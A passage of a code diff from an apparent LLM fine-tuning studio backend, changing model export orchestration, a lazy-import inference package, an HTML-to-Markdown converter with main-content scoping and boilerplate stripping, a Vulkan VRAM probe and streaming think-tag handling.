+                # One structured export_progress line per phase (consolidated in the
+                # server log, like training/download progress); also shown live.
                 if message:
+                    logger.info("export_progress", phase = message)
                     self._append_log(
                         {
                             "stream": "status",
@@ -409,14 +448,44 @@ class ExportOrchestrator:
             self._export_active = True
             op_success, op_message = False, ""
             try:
+                # Handshake with the sidecar install route: _export_active is set above, so either this
+                # recheck refuses BEFORE tearing down the old worker (keeping the loaded checkpoint), or
+                # the install sees is_export_active() and 409s. The spawn-time recheck stays as a last resort.
+                from utils.transformers_version import sidecar_swap_in_progress
+
+                if sidecar_swap_in_progress():
+                    from utils.transformers_version import SidecarSwapInProgress
+                    op_message = (
+                        "A transformers installation is replacing the latest "
+                        "sidecar; retry when it completes."
+                    )
+                    raise SidecarSwapInProgress(op_message)
                 # Always kill any existing subprocess and spawn fresh.
                 if self._ensure_subprocess_alive():
-                    self._shutdown_subprocess()
+                    if self._shutdown_subprocess() is False:
+                        # Survivor still holds GPU memory (a wedged CUDA syscall outliving
+                        # SIGKILL); its handle is kept so is_worker_alive() and the pre-swap
+                        # guard still see it. Do not spawn a second worker over it -- fail so
+                        # the load can retry once it exits.
+                        op_message = (
+                            "The current export worker did not exit and still holds GPU "
+                            "memory; not starting a new checkpoint load over it. Retry shortly."
+                        )
+                        return False, op_message
                 elif self._proc is not None:
                     self._shutdown_subprocess(timeout = 2)
 
                 logger.info("Spawning fresh export subprocess for '%s'", checkpoint_path)
-                self._spawn_subprocess(sub_config)
+                try:
+                    self._spawn_subprocess(sub_config)
+                except Exception:
+                    # The old worker is already gone; a stale current_checkpoint
+                    # would make the Export page claim a loaded checkpoint that
+                    # the next op then fails on with "no subprocess running".
+                    self.current_checkpoint = None
+                    self.is_vision = False
+                    self.is_peft = False
+                    raise
 
                 try:
                     resp = self._wait_response("loaded")
@@ -456,6 +525,7 @@ class ExportOrchestrator:
         repo_id: Optional[str] = None,
         hf_token: Optional[str] = None,
         private: bool = False,
+        compressed_method: Optional[str] = None,
     ) -> Tuple[bool, str, Optional[str]]:
         """Export merged PEFT model."""
         return self._run_export(
@@ -467,6 +537,7 @@ class ExportOrchestrator:
                 "repo_id": repo_id,
                 "hf_token": hf_token,
                 "private": private,
+                "compressed_method": compressed_method,
             },
         )
 
@@ -495,13 +566,13 @@ class ExportOrchestrator:
     def export_gguf(
         self,
         save_directory: str,
-        quantization_method: str = "Q4_K_M",
+        quantization_method = "Q4_K_M",
         push_to_hub: bool = False,
         repo_id: Optional[str] = None,
         hf_token: Optional[str] = None,
         imatrix_file = None,
     ) -> Tuple[bool, str, Optional[str]]:
-        """Export model in GGUF format."""
+        """Export model in GGUF format. `quantization_method` may be a single method or a list."""
         return self._run_export(
             "gguf",
             {
@@ -521,8 +592,10 @@ class ExportOrchestrator:
         repo_id: Optional[str] = None,
         hf_token: Optional[str] = None,
         private: bool = False,
+        gguf: bool = False,
+        gguf_outtype: str = "q8_0",
     ) -> Tuple[bool, str, Optional[str]]:
-        """Export LoRA adapter only."""
+        """Export LoRA adapter only (optionally also as a GGUF LoRA file)."""
         return self._run_export(
             "lora",
             {
@@ -531,6 +604,8 @@ class ExportOrchestrator:
                 "repo_id": repo_id,
                 "hf_token": hf_token,
                 "private": private,
+                "gguf": gguf,
+                "gguf_outtype": gguf_outtype,
             },
         )
 
@@ -554,12 +629,28 @@ class ExportOrchestrator:
             self._export_active = True
             op_success, op_message, op_output_path = False, "", None
             try:
+                # Handshake with the sidecar install route (see load_checkpoint): _export_active is set
+                # above, so this recheck refuses before the command is sent, or the install sees the active
+                # op and 409s. Without it, an install would block in cleanup_memory behind a long export op.
+                from utils.transformers_version import sidecar_swap_in_progress
+
+                if sidecar_swap_in_progress():
+                    from utils.transformers_version import SidecarSwapInProgress
+                    op_message = (
+                        "A transformers installation is replacing the latest "
+                        "sidecar; retry when it completes."
+                    )
+                    raise SidecarSwapInProgress(op_message)
                 cmd = {"type": "export", "export_type": export_type, **params}
                 try:
                     self._send_cmd(cmd)
+                    # GGUF for 30B+ models can take 30+ min per quant; a multi-quant list runs them
+                    # all in one op off a single merge, so scale the timeout by the quant count.
+                    _qm = params.get("quantization_method")
+                    _n = len(_qm) if isinstance(_qm, (list, tuple)) and _qm else 1
                     resp = self._wait_response(
                         f"export_{export_type}_done",
-                        timeout = 3600,  # GGUF for 30B+ models can take 30+ min
+                        timeout = 3600 * max(1, _n),
                     )
                     op_success = resp.get("success", False)
                     op_message = resp.get("message", "")
diff --git a/studio/backend/core/export/worker.py b/studio/backend/core/export/worker.py
index d473dcb54f..9ecfa73eee 100644
--- a/studio/backend/core/export/worker.py
+++ b/studio/backend/core/export/worker.py
@@ -236,6 +236,17 @@ def _handle_load(backend, cmd: dict, resp_queue: Any) -> None:
     checkpoint_path = cmd["checkpoint_path"]
     max_seq_length = cmd.get("max_seq_length", 2048)
     load_in_4bit = cmd.get("load_in_4bit", True)
+    # Latest-sidecar checkpoints load 16-bit here too: bnb 4-bit feeds quantized
+    # expert weights into unvalidated paths (same flip as the chat worker).
+    if load_in_4bit:
+        from utils.transformers_version import latest_tier_active_for
+        if latest_tier_active_for(checkpoint_path, cmd.get("hf_token")):
+            load_in_4bit = False
+            logger.info(
+                "Latest-transformers sidecar active for %s - forcing a 16-bit "
+                "export load (4-bit is disabled for brand-new architectures)",
+                checkpoint_path,
+            )
     trust_remote_code = cmd.get("trust_remote_code", False)
 
     # Auto-enable trust_remote_code for NemotronH/Nano models.
@@ -387,6 +398,19 @@ def _handle_export(backend, cmd: dict, resp_queue: Any) -> None:
     # orchestrator spawns a fresh subprocess per checkpoint load, resetting it.
     _log_forward_gate.set()
 
+    # Phase milestone so the heavy export step shows in the server log; the
+    # merge/save/convert itself only forwards stdout to the live panel.
+    _phase = {
+        "merged": f"Exporting merged model ({cmd.get('format_type', '16-bit (FP16)')})...",
+        "gguf": f"Exporting GGUF ({cmd.get('quantization_method', 'Q4_K_M')})...",
+        "lora": "Exporting LoRA adapter...",
+        "base": "Exporting base model...",
+    }.get(export_type, f"Exporting ({export_type})...")
+    _send_response(
+        resp_queue,
+        {"type": "status", "message": _phase, "ts": time.time()},
+    )
+
     output_path: Any = None
     try:
         if export_type == "merged":
@@ -397,6 +421,7 @@ def _handle_export(backend, cmd: dict, resp_queue: Any) -> None:
                 repo_id = cmd.get("repo_id"),
                 hf_token = cmd.get("hf_token"),
                 private = cmd.get("private", False),
+                compressed_method = cmd.get("compressed_method"),
             )
         elif export_type == "base":
             success, message, output_path = backend.export_base_model(
@@ -423,6 +448,8 @@ def _handle_export(backend, cmd: dict, resp_queue: Any) -> None:
                 repo_id = cmd.get("repo_id"),
                 hf_token = cmd.get("hf_token"),
                 private = cmd.get("private", False),
+                gguf = cmd.get("gguf", False),
+                gguf_outtype = cmd.get("gguf_outtype", "q8_0"),
             )
         else:
             success, message = False, f"Unknown export type: {export_type}"
diff --git a/studio/backend/core/inference/__init__.py b/studio/backend/core/inference/__init__.py
index 2faf70bb79..ad78157418 100644
--- a/studio/backend/core/inference/__init__.py
+++ b/studio/backend/core/inference/__init__.py
@@ -7,13 +7,16 @@ Inference submodule - backend for model loading and generation.
 The default get_inference_backend() returns an InferenceOrchestrator that
 delegates to a subprocess. The original InferenceBackend runs inside the
 subprocess and can be imported directly from .inference when needed.
+
+Public names are resolved lazily (PEP 562): importing this package -- or a
+dependency-light leaf like ``core.inference.chat_eos`` -- must NOT eagerly pull
+the orchestrator / llama_cpp import chain (httpx, subprocess plumbing, the ML
+backend and its Studio dependencies). Those load only when a public name is
+actually accessed, so standalone helpers stay unit-testable without the full
+inference stack.
 """
 
-from .orchestrator import InferenceOrchestrator, get_inference_backend
-from .llama_cpp import LlamaCppBackend
-
-# Expose InferenceOrchestrator as InferenceBackend for backward compat.
-InferenceBackend = InferenceOrchestrator
+from typing import TYPE_CHECKING
 
 __all__ = [
     "InferenceBackend",
@@ -21,3 +24,33 @@ __all__ = [
     "get_inference_backend",
     "LlamaCppBackend",
 ]
+
+# name -> (submodule, attribute); InferenceBackend aliases InferenceOrchestrator.
+_LAZY_ATTRS = {
+    "InferenceOrchestrator": ("orchestrator", "InferenceOrchestrator"),
+    "InferenceBackend": ("orchestrator", "InferenceOrchestrator"),
+    "get_inference_backend": ("orchestrator", "get_inference_backend"),
+    "LlamaCppBackend": ("llama_cpp", "LlamaCppBackend"),
+}
+
+
+def __getattr__(name):
+    try:
+        submodule, attr = _LAZY_ATTRS[name]
+    except KeyError:
+        raise AttributeError(f"module {__name__!r} has no attribute {name!r}") from None
+    from importlib import import_module
+
+    value = getattr(import_module(f"{__name__}.{submodule}"), attr)
+    globals()[name] = value  # cache so later access skips __getattr__
+    return value
+
+
+def __dir__():
+    return sorted(set(globals()) | set(__all__))
+
+
+if TYPE_CHECKING:  # keep static analysers / IDEs aware of the lazy names
+    from .llama_cpp import LlamaCppBackend
+    from .orchestrator import InferenceOrchestrator, get_inference_backend
+    InferenceBackend = InferenceOrchestrator
diff --git a/studio/backend/core/inference/_html_to_md.py b/studio/backend/core/inference/_html_to_md.py
index e7de4a5312..92471b9866 100644
--- a/studio/backend/core/inference/_html_to_md.py
+++ b/studio/backend/core/inference/_html_to_md.py
@@ -7,6 +7,11 @@ Minimal HTML-to-Markdown converter using only the standard library.
 Replaces the external ``html2text`` (GPL-3.0) dependency with a ~250-line
 ``html.parser.HTMLParser`` subclass. Covers headings, links, bold/italic,
 lists, tables, blockquotes, code blocks, and entity decoding.
+
+``main_content=True`` also applies a readability-style heuristic: scope
+conversion to the page's ``<article>`` (else ``<main>``) subtree when it
+carries substantial text, and strip known boilerplate fragments (skip-links,
+error placeholders, session banners, cookie prompts) from the result.
 """
 
 from __future__ import annotations
@@ -27,8 +32,138 @@ _SKIP_TAGS = frozenset(
         "math",
         "nav",
         "footer",
+        # Never-rendered / form-chrome elements, not page content.
+        "template",
+        "dialog",
+        "button",
+        "select",
+        "datalist",
     }
 )
+# <aside> is NOT skipped: docs use it for admonition callouts (real content);
+# page-furniture asides are excluded by the main-content scoping pass instead.
+
+# Void elements never produce an end tag, so they must not join the
+# open-element stack used to bound hidden subtrees.
+_VOID_TAGS = frozenset(
+    {
+        "area",
+        "base",
+        "br",
+        "col",
+        "embed",
+        "hr",
+        "img",
+        "input",
+        "link",
+        "meta",
+        "param",
+        "source",
+        "track",
+        "wbr",
+    }
+)
+
+
+def _style_hides_element(style: str) -> bool:
+    """True when an inline ``style`` sets ``display:none`` / ``visibility:hidden``.
+
+    Parsed per property so an unrelated value that merely contains ``none`` is
+    not misread as hidden."""
+    lowered = style.lower()
+    if "none" not in lowered and "hidden" not in lowered:
+        return False
+    for declaration in style.split(";"):
+        prop, sep, value = declaration.partition(":")
+        if not sep:
+            continue
+        prop = prop.strip().lower()
+        # Drop any !important flag and keep the first token of the value.
+        value = value.split("!", 1)[0].strip().lower()
+        if prop == "display" and value == "none":
+            return True
+        if prop == "visibility" and value == "hidden":
+            return True
+    return False
+
+
+def _is_hidden_element(attr_dict: dict) -> bool:
+    """True when the element is not rendered: ``hidden`` attribute,
+    ``aria-hidden="true"``, or an inline ``style`` hiding it. Such JS-only
+    placeholders ship in the HTML but must not reach the output. ``hidden`` is
+    enumerated: any present value (even ``hidden="false"``) means not rendered."""
+    if "hidden" in attr_dict:
+        return True
+    if (attr_dict.get("aria-hidden") or "").strip().lower() == "true":
+        return True
+    return _style_hides_element(attr_dict.get("style") or "")
+
+
+# HTML5 optional end tags: a listed start tag implicitly closes an open element
+# of the key type (as browsers do), else an unclosed ``<p hidden>``/``<li hidden>``
+# swallows every following sibling. Keys: closable elements; values: closers.
+_P_CLOSING_TAGS = frozenset(
+    {
+        "address",
+        "article",
+        "aside",
+        "blockquote",
+        "details",
+        "div",
+        "dl",
+        "fieldset",
+        "figcaption",
+        "figure",
+        "footer",
+        "form",
+        "h1",
+        "h2",
+        "h3",
+        "h4",
+        "h5",
+        "h6",
+        "header",
+        "hgroup",
+        "hr",
+        "main",
+        "menu",
+        "nav",
+        "ol",
+        "p",
+        "pre",
+        "section",
+        "table",
+        "ul",
+    }
+)
+_IMPLICIT_CLOSERS: dict = {
+    "p": _P_CLOSING_TAGS,
+    "li": frozenset({"li"}),
+    "dt": frozenset({"dt", "dd"}),
+    "dd": frozenset({"dt", "dd"}),
+    "tr": frozenset({"tr"}),
+    "td": frozenset({"td", "th", "tr"}),
+    "th": frozenset({"td", "th", "tr"}),
+    "option": frozenset({"option", "optgroup"}),
+    "optgroup": frozenset({"optgroup"}),
+}
+
+
+# Item tag -> container tags that re-scope it: a nested container makes an inner
+# item a descendant, not an optional-close sibling, so recovery must stop there
+# rather than close (and un-hide) the outer item and leak its nested content.
+_CLOSE_BARRIERS: dict = {
+    "li": frozenset({"ul", "ol", "menu"}),
+    "dt": frozenset({"dl"}),
+    "dd": frozenset({"dl"}),
+    "tr": frozenset({"table"}),
+    "td": frozenset({"table"}),
+    "th": frozenset({"table"}),
+    "option": frozenset({"select", "datalist"}),
+    "optgroup": frozenset({"select", "datalist"}),
+}
+
+
 _BLOCK_TAGS = frozenset(
     {
         "p",
@@ -51,13 +186,33 @@ _INLINE_EMPHASIS = {"strong": "**", "b": "**", "em": "*", "i": "*"}
 
 
 class _MarkdownRenderer(HTMLParser):
-    """HTMLParser subclass that emits Markdown tokens into a list."""
+    """HTMLParser subclass that emits Markdown tokens into a list.
 
-    def __init__(self):
+    ``scope_tags`` restricts emission to the subtree(s) of the given tags
+    (e.g. ``{"article"}``): outside them every handler is a no-op, which is
+    how the readability-style main-content pass drops page furniture.
+    """
+
+    def __init__(self, scope_tags: frozenset[str] | None = None):
         super().__init__(convert_charrefs = False)
         self._out: list[str] = []
         self._skip_depth: int = 0
 
+        # Main-content scoping: emit only while inside a scope tag.
+        self._scope_tags = scope_tags
+        self._scope_depth: int = 0
+
+        # Output boundaries per top-level scope element, so a caller can size each
+        # candidate alone and a swarm of tiny sibling cards can't clear the threshold.
+        self.scope_segments: list[str] = []
+        self._scope_seg_start: int | None = None
+
+        # Hidden-subtree tracking: stack of open non-void tags plus the indices
+        # where a hidden element started. End tags pop to the matching tag, so
+        # an omitted </p>/<li> close cannot leave the renderer stuck hidden.
+        self._open_tags: list[str] = []
+        self._hidden_marks: list[int] = []
+
         # Link state
         self._link_href: str | None = None
         self._link_text_parts: list[str] = []
@@ -150,16 +305,95 @@ class _MarkdownRenderer(HTMLParser):
     # ------------------------------------------------------------------
     # Tag handlers
     # ------------------------------------------------------------------
+    # Structural bookkeeping shared by every start tag (skip/hidden/scope).
+    def _close_implicit(self, tag: str) -> None:
+        """HTML5 optional-end-tag recovery for a start tag about to open.
+
+        Pops each implicitly-closed ancestor (and its hidden marks), scanning the
+        whole stack so an open ``<p>``/``<li>`` still closes under an unclosed inline
+        ``<span>``. Stops at a ``_CLOSE_BARRIERS`` container so recovery never crosses
+        a nested list/table/dl and leaks the outer item's hidden content. Runs even
+        for skipped ``<nav>``/``<footer>``, which also close ``<p>``."""
+        barriers = _CLOSE_BARRIERS.get(tag, ())
+        while True:
+            close_at = None
+            for i in range(len(self._open_tags) - 1, -1, -1):
+                name = self._open_tags[i]
+                if tag in _IMPLICIT_CLOSERS.get(name, ()):
+                    close_at = i
+                    break
+                # A barrier container re-scopes the item; stop before it.
+                if name in barriers:
+                    break
+            if close_at is None:
+                break
+            del self._open_tags[close_at:]
+            while self._hidden_marks and self._hidden_marks[-1] >= close_at:
+                self._hidden_marks.pop()
+
+    def _enter_tag(self, tag: str, attr_dict: dict) -> bool:
+        """Track open/hidden/scope state; return True when the tag's content
+        should be rendered (False = suppressed). Caller runs ``_close_implicit``
+        first so recovery also fires for skipped tags."""
+        if tag not in _VOID_TAGS:
+            self._open_tags.append(tag)
+            if _is_hidden_element(attr_dict):
+                self._hidden_marks.append(len(self._open_tags) - 1)
+        elif _is_hidden_element(attr_dict):
+            # Void elements never join the stack, so suppress a hidden one inline.
+            return False
+        if self._scope_tags is not None and tag in self._scope_tags:
+            if self._scope_depth == 0:
+                self._scope_seg_start = len(self._out)
+            self._scope_depth += 1
+        if self._hidden_marks:
+            return False
+        if self._scope_tags is not None and self._scope_depth == 0:
+            return False
+        return True
+
+    def _exit_tag(self, tag: str) -> bool:
+        """Pop to the matching open tag; return True when the end tag should
+        be rendered (False = it closed inside a hidden / out-of-scope region)."""
+        suppressed = bool(self._hidden_marks) or (
+            self._scope_tags is not None and self._scope_depth == 0
+        )
+        if tag not in _VOID_TAGS:
+            # Pop to the innermost matching open tag (recovers omitted closes).
+            for i in range(len(self._open_tags) - 1, -1, -1):
+                if self._open_tags[i] == tag:
+                    del self._open_tags[i:]
+                    while self._hidden_marks and self._hidden_marks[-1] >= i:
+                        self._hidden_marks.pop()
+                    break
+        if self._scope_tags is not None and tag in self._scope_tags and self._scope_depth > 0:
+            self._scope_depth -= 1
+            if self._scope_depth == 0 and self._scope_seg_start is not None:
+                self.scope_segments.append("".join(self._out[self._scope_seg_start :]))
+                self._scope_seg_start = None
+        return not suppressed
+
     def handle_starttag(self, tag: str, attrs: list[tuple[str, str | None]]) -> None:
         tag = tag.lower()
 
+        if self._skip_depth:
+            # Inside a skipped subtree: only track nested skip depth.
+            if tag in _SKIP_TAGS:
+                self._skip_depth += 1
+            return
+
+        # Recover optional end tags before the skip decision: a skipped
+        # <nav>/<footer> still implicitly closes an open <p>, releasing its
+        # hidden mark so following siblings render.
+        self._close_implicit(tag)
+
         if tag in _SKIP_TAGS:
             self._skip_depth += 1
             return
-        if self._skip_depth:
-            return
 
         attr_dict = dict(attrs)
+        if not self._enter_tag(tag, attr_dict):
+            return
 
         if tag in _HEADING_TAGS:
             level = int(tag[1])
@@ -250,6 +484,9 @@ class _MarkdownRenderer(HTMLParser):
         if self._skip_depth:
             return
 
+        if not self._exit_tag(tag):
+            return
+
         if tag in _HEADING_TAGS:
             self._emit("\n\n")
 
@@ -308,8 +545,13 @@ class _MarkdownRenderer(HTMLParser):
     # ------------------------------------------------------------------
     # Text / entity handlers
     # ------------------------------------------------------------------
+    def _text_suppressed(self) -> bool:
+        if self._skip_depth or self._hidden_marks:
+            return True
+        return self._scope_tags is not None and self._scope_depth == 0
+
     def handle_data(self, data: str) -> None:
-        if self._skip_depth:
+        if self._text_suppressed():
             return
         if self._in_pre:
             self._pre_parts.append(data)
@@ -326,12 +568,12 @@ class _MarkdownRenderer(HTMLParser):
         self._emit(text)
 
     def handle_entityref(self, name: str) -> None:
-        if self._skip_depth:
+        if self._text_suppressed():
             return
         self._emit(html.unescape(f"&{name};"))
 
     def handle_charref(self, name: str) -> None:
-        if self._skip_depth:
+        if self._text_suppressed():
             return
         self._emit(html.unescape(f"&#{name};"))
 
@@ -366,6 +608,14 @@ class _MarkdownRenderer(HTMLParser):
             else:
                 self._out.append("\n\n" + prefixed + "\n\n")
 
+        # A scope left open by truncated HTML never reached _exit_tag, so its output
+        # never joined scope_segments and would score 0. Flush the still-open segment
+        # here (after the side-buffers) so a truncated main-content page is scored.
+        if self._scope_seg_start is not None:
+            self.scope_segments.append("".join(self._out[self._scope_seg_start :]))
+            self._scope_seg_start = None
+            self._scope_depth = 0
+
 
 # Post-processing
 def _cleanup(text: str) -> str:
@@ -399,17 +649,124 @@ def _cleanup(text: str) -> str:
     return "\n".join(out).strip()
 
 
-# Public API
-def html_to_markdown(source_html: str) -> str:
-    """Convert HTML to Markdown (headings, links, emphasis, lists, tables, blockquotes, code, entities).
+# Known boilerplate fragments stripped from main-content conversions, matched
+# only against short lines. Sources: GitHub page furniture / client-side error
+# placeholders, skip-links, cookie banners.
+_BOILERPLATE_FRAGMENTS = (
+    "skip to content",
+    "skip to main content",
+    "there was an error while loading",
+    "please reload this page",
+    "you can't perform that action at this time",
+    "you signed in with another tab or window",
+    "you signed out in another tab or window",
+    "you switched accounts on another tab or window",
+    "reload to refresh your session",
+    "you must be signed in to change notification settings",
+    "uh oh!",
+    "{{ message }}",
+    "this website uses cookies",
+    "we use cookies",
+    "accept all cookies",
+    "manage cookie preferences",
+)
+# Only shorter lines are eligible for boilerplate dropping; real content
+# sentences quoting a fragment run longer.
+_BOILERPLATE_MAX_LINE_CHARS = 300
 
-    ``<script>``, ``<style>``, and ``<head>`` are stripped entirely.
-    """
-    # Normalize line endings before parsing.
-    source_html = source_html.replace("\r\n", "\n").replace("\r", "\n")
-    renderer = _MarkdownRenderer()
+# Normalized furniture phrases for whole-segment matching. See _line_is_boilerplate.
+_BOILERPLATE_NORMALIZED = frozenset(
+    re.sub(r"\s+", " ", fragment).strip().casefold().rstrip(".!:")
+    for fragment in _BOILERPLATE_FRAGMENTS
+)
+
+
+def _line_is_boilerplate(line: str) -> bool:
+    """True only when a whole line is composed of known furniture phrases.
+
+    Splits on sentence terminators and requires every segment to be furniture, so a
+    line stacking several phrases is dropped while prose that merely quotes one is
+    kept (its other words leave a non-furniture segment)."""
+    normalized = re.sub(r"\s+", " ", line).strip().casefold()
+    if not normalized:
+        return False
+    segments = [segment.strip().rstrip(".!:") for segment in re.split(r"[.!]", normalized)]
+    segments = [segment for segment in segments if segment]
+    return bool(segments) and all(segment in _BOILERPLATE_NORMALIZED for segment in segments)
+
+
+def _strip_boilerplate_lines(text: str) -> str:
+    """Drop short lines that consist entirely of known page-furniture phrases.
+
+    Fenced code blocks are preserved verbatim: boilerplate never renders
+    inside ``<pre>``, while READMEs legitimately quote error strings."""
+    out: list[str] = []
+    in_fence = False
+    for line in text.split("\n"):
+        if line.lstrip().startswith("```"):
+            in_fence = not in_fence
+            out.append(line)
+            continue
+        if not in_fence and len(line) <= _BOILERPLATE_MAX_LINE_CHARS and _line_is_boilerplate(line):
+            continue
+        out.append(line)
+    # Collapse blank runs the dropped lines may have left behind.
+    return re.sub(r"\n{3,}", "\n\n", "\n".join(out)).strip()
+
+
+def _render(source_html: str, scope_tags: frozenset[str] | None) -> str:
+    renderer = _MarkdownRenderer(scope_tags = scope_tags)
     renderer.feed(source_html)
     renderer.close()
     renderer.flush_pending()
     raw = "".join(renderer._out)
     return _cleanup(raw)
+
+
+def _select_main_scope_render(source_html: str, tag: str) -> tuple[int, str]:
+    """Length and boilerplate-stripped render of the largest single ``<tag>``
+    subtree. Sizing candidates one at a time stops many tiny sibling cards from
+    clearing the threshold together, and returning that one subtree keeps
+    unrelated siblings (related cards, comment threads) out of the output."""
+    renderer = _MarkdownRenderer(scope_tags = frozenset({tag}))
+    renderer.feed(source_html)
+    renderer.close()
+    renderer.flush_pending()
+    best_len = 0
+    best_render = ""
+    for seg in renderer.scope_segments:
+        rendered = _strip_boilerplate_lines(_cleanup(seg))
+        if len(rendered) > best_len:
+            best_len = len(rendered)
+            best_render = rendered
+    return best_len, best_render
+
+
+# A scoped conversion below this size is judged not to be the page's main
+# content (e.g. an empty <article> stub) and the next candidate is tried.
+_MIN_MAIN_CONTENT_CHARS = 200
+
+
+# Public API
+def html_to_markdown(source_html: str, *, main_content: bool = False) -> str:
+    """Convert HTML to Markdown (headings, links, emphasis, lists, tables, blockquotes, code, entities).
+
+    ``<script>``, ``<style>``, and ``<head>`` are stripped entirely, as are
+    subtrees hidden from rendering (``hidden`` / ``aria-hidden="true"``).
+
+    ``main_content=True`` applies a readability-style heuristic for page
+    fetches: prefer the ``<article>`` subtree (GitHub renders READMEs there),
+    then ``<main>``, falling back to the whole document, and strip known
+    boilerplate fragments from the result.
+    """
+    # Normalize line endings before parsing.
+    source_html = source_html.replace("\r\n", "\n").replace("\r", "\n")
+    if main_content:
+        for scope_tag in ("article", "main"):
+            # Render only the chosen subtree so sibling <article>/<main>
+            # elements do not leak in once the largest passes the size gate.
+            length, rendered = _select_main_scope_render(source_html, scope_tag)
+            if length >= _MIN_MAIN_CONTENT_CHARS:
+                return rendered
+        return _strip_boilerplate_lines(_render(source_html, None))
+    return _render(source_html, None)
diff --git a/studio/backend/core/inference/_vulkan_probe.py b/studio/backend/core/inference/_vulkan_probe.py
new file mode 100644
index 0000000000..706346daad
--- /dev/null
+++ b/studio/backend/core/inference/_vulkan_probe.py
@@ -0,0 +1,110 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Standalone free-VRAM probe for the bundled ggml Vulkan backend.
+
+Run in a short-lived subprocess (``python _vulkan_probe.py <bindir>``) so the
+Vulkan instance never lives in the long-running backend process. Loads the
+bundled ggml Vulkan backend from ``<bindir>`` and prints one
+``<idx>\\t<free_bytes>\\t<is_igpu>\\t<total_bytes>`` line per device to stdout.
+Indices are ggml's own Vulkan device ordinals, which need not match nvidia-smi
+order. ``is_igpu`` (from ggml's device type) is ``1`` for an integrated GPU
+sharing system RAM. ``total_bytes`` is the device-local heap; the reader uses
+it to reserve absolute headroom on a discrete card (parity with the CUDA/ROCm
+fit) and ignores it for an iGPU, whose "VRAM" is shared system RAM.
+
+Uses only the standard library so it stays runnable as a bare script.
+"""
+
+import ctypes
+import os
+import sys
+
+# ggml_backend_dev_type enum (ggml-backend.h): CPU=0, GPU=1, IGPU=2, ...
+_GGML_BACKEND_DEVICE_TYPE_IGPU = 2
+
+
+def _igpu_flags(base, lib, count: int) -> list[bool]:
+    """Per-device integrated-GPU flags via ggml's backend registry.
+
+    The Vulkan reg enumerates devices in the same order as
+    ``ggml_backend_vk_get_device_memory`` (each context uses ``ctx->device =
+    i``), so reg index == device ordinal. Returns all-False on any failure so
+    the reader never over-caps a discrete card.
+    """
+    flags = [False] * count
+    try:
+        lib.ggml_backend_vk_reg.restype = ctypes.c_void_p
+        lib.ggml_backend_vk_reg.argtypes = []
+        base.ggml_backend_reg_dev_count.restype = ctypes.c_size_t
+        base.ggml_backend_reg_dev_count.argtypes = [ctypes.c_void_p]
+        base.ggml_backend_reg_dev_get.restype = ctypes.c_void_p
+        base.ggml_backend_reg_dev_get.argtypes = [ctypes.c_void_p, ctypes.c_size_t]
+        base.ggml_backend_dev_type.restype = ctypes.c_int
+        base.ggml_backend_dev_type.argtypes = [ctypes.c_void_p]
+
+        reg = lib.ggml_backend_vk_reg()
+        if not reg:
+            return flags
+        dev_count = base.ggml_backend_reg_dev_count(reg)
+        for i in range(min(count, dev_count)):
+            dev = base.ggml_backend_reg_dev_get(reg, i)
+            if dev:
+                flags[i] = base.ggml_backend_dev_type(dev) == _GGML_BACKEND_DEVICE_TYPE_IGPU
+    except Exception:
+        # Best-effort: any failure degrades to "discrete" so the memory
+        # readings still get through instead of crashing the probe.
+        pass
+    return flags
+
+
+def main() -> int:
+    if len(sys.argv) < 2:
+        return 0
+    bindir = sys.argv[1]
+
+    # Hold add_dll_directory's handle for the rest of main() (the documented
+    # idiom) so bindir stays on the search path while the sibling ggml DLLs
+    # resolve below.
+    _dll_dir = None
+    if sys.platform == "win32":
+        base_name, vk_name = "ggml-base.dll", "ggml-vulkan.dll"
+        try:
+            _dll_dir = os.add_dll_directory(bindir)
+        except Exception:
+            pass
+    else:
+        base_name, vk_name = "libggml-base.so", "libggml-vulkan.so"
+
+    # RTLD_GLOBAL exposes ggml-base's symbols to ggml-vulkan on POSIX. getattr
+    # falls back to 0 where the flag doesn't exist (Windows CDLL ignores mode).
+    _rtld_global = getattr(ctypes, "RTLD_GLOBAL", 0)
+    try:
+        base = ctypes.CDLL(os.path.join(bindir, base_name), mode = _rtld_global)
+        lib = ctypes.CDLL(os.path.join(bindir, vk_name), mode = _rtld_global)
+    except OSError as e:
+        print(f"ggml-vulkan load failed: {e}", file = sys.stderr)
+        return 1
+
+    lib.ggml_backend_vk_get_device_count.restype = ctypes.c_int
+    lib.ggml_backend_vk_get_device_count.argtypes = []
+    lib.ggml_backend_vk_get_device_memory.restype = None
+    lib.ggml_backend_vk_get_device_memory.argtypes = [
+        ctypes.c_int,
+        ctypes.POINTER(ctypes.c_size_t),
+        ctypes.POINTER(ctypes.c_size_t),
+    ]
+
+    count = lib.ggml_backend_vk_get_device_count()
+    igpu = _igpu_flags(base, lib, count)
+    rows = []
+    for i in range(count):
+        free, total = ctypes.c_size_t(0), ctypes.c_size_t(0)
+        lib.ggml_backend_vk_get_device_memory(i, ctypes.byref(free), ctypes.byref(total))
+        rows.append("%d\t%d\t%d\t%d" % (i, free.value, int(igpu[i]), total.value))
+    sys.stdout.write("\n".join(rows))
+    return 0
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())
diff --git a/studio/backend/core/inference/anthropic_compat.py b/studio/backend/core/inference/anthropic_compat.py
index 0307336dde..3c7a4cb182 100644
--- a/studio/backend/core/inference/anthropic_compat.py
+++ b/studio/backend/core/inference/anthropic_compat.py
@@ -258,6 +258,10 @@ class AnthropicStreamEmitter:
         self._open_tool_use_id: Optional[str] = None
         self._open_tool_args_sent: bool = False
         self._prev_text: str = ""
+        # Net <think> minus </think> in the text emitted to the client. Tracked
+        # from emitted deltas (not _prev_text, which a final bare shrink clobbers)
+        # so an unclosed reasoning-only block can be balanced before close.
+        self._open_think_tags: int = 0
         self._usage: dict = {}
 
     def start(
@@ -317,6 +321,7 @@ class AnthropicStreamEmitter:
         """Close any open block and emit message_delta + message_stop."""
         events = []
         if self._text_block_open or self._open_tool_call_id is not None:
+            events.extend(self._close_open_think())
             events.append(self._close_block())
             self._open_tool_call_id = None
             self._open_tool_use_id = None
@@ -344,12 +349,33 @@ class AnthropicStreamEmitter:
         )
         return events
 
+    def _close_open_think(self) -> list[str]:
+        """Emit a ``</think>`` delta when the streamed text left a ``<think>``
+        open. This emitter diffs cumulative snapshots and drops the generator's
+        final bare shrink, so a reasoning-only reply would otherwise end on an
+        unclosed tag. Mirrors the chat route's reasoning extractor, which closes
+        the block on finish; balances the block before it is closed."""
+        if not self._text_block_open or self._open_think_tags <= 0:
+            return []
+        self._open_think_tags = 0
+        return [
